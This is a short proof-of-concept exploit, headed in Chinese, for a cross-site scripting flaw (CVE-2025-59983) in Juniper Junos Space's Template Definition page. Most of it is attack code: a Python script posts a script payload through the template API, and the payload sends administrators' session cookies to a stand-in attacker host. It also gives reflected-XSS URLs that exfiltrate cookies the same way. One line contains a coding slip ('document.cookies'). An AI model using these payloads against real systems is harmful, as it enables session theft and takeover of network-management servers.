CVE-2025-59983 Juniper Junos Space 模板定义页XSS漏洞

# CVE-2025-59983 - Juniper Junos Space Template Definition XSS PoC # Vulnerability: Stored/Reflected XSS in Template Definition page # Affected: Junos Space versions before 24.1R4 import requests TARGET_URL = "https://junos-space-target.example.com" ATTACKER_SERVER = "https://attacker.example.com/steal" # Step 1: Authenticate to Junos Space (if required) or exploit without auth session = requests.Session() # Step 2: Inject malicious script into the Template Definition page # The payload is injected into a field of the Template Definition form xss_payload = { "templateName": "legitimate_template_name", "templateDefinition": ( "<script>" f"var img=new Image();" f"img.src='{ATTACKER_SERVER}?cookie='+document.cookie+'&session='+document.cookies;" "</script>" ), "description": "Normal description text" } # Step 3: Submit the malicious template definition response = session.post( f"{TARGET_URL}/api/space/template-management/templates", json=xss_payload, verify=False ) print(f"[*] Payload submitted. Status: {response.status_code}") print(f"[*] When an admin visits the Template Definition page,") print(f"[*] the injected script will execute and exfiltrate session data to {ATTACKER_SERVER}") # Alternative simpler payload for direct injection via URL parameters (reflected XSS) # https://junos-space-target.example.com/template-definition?name=<script>alert(document.cookie)</script> # https://junos-space-target.example.com/template-definition?templateId=<img src=x onerror=fetch('https://attacker.example.com/?c='+document.cookie)>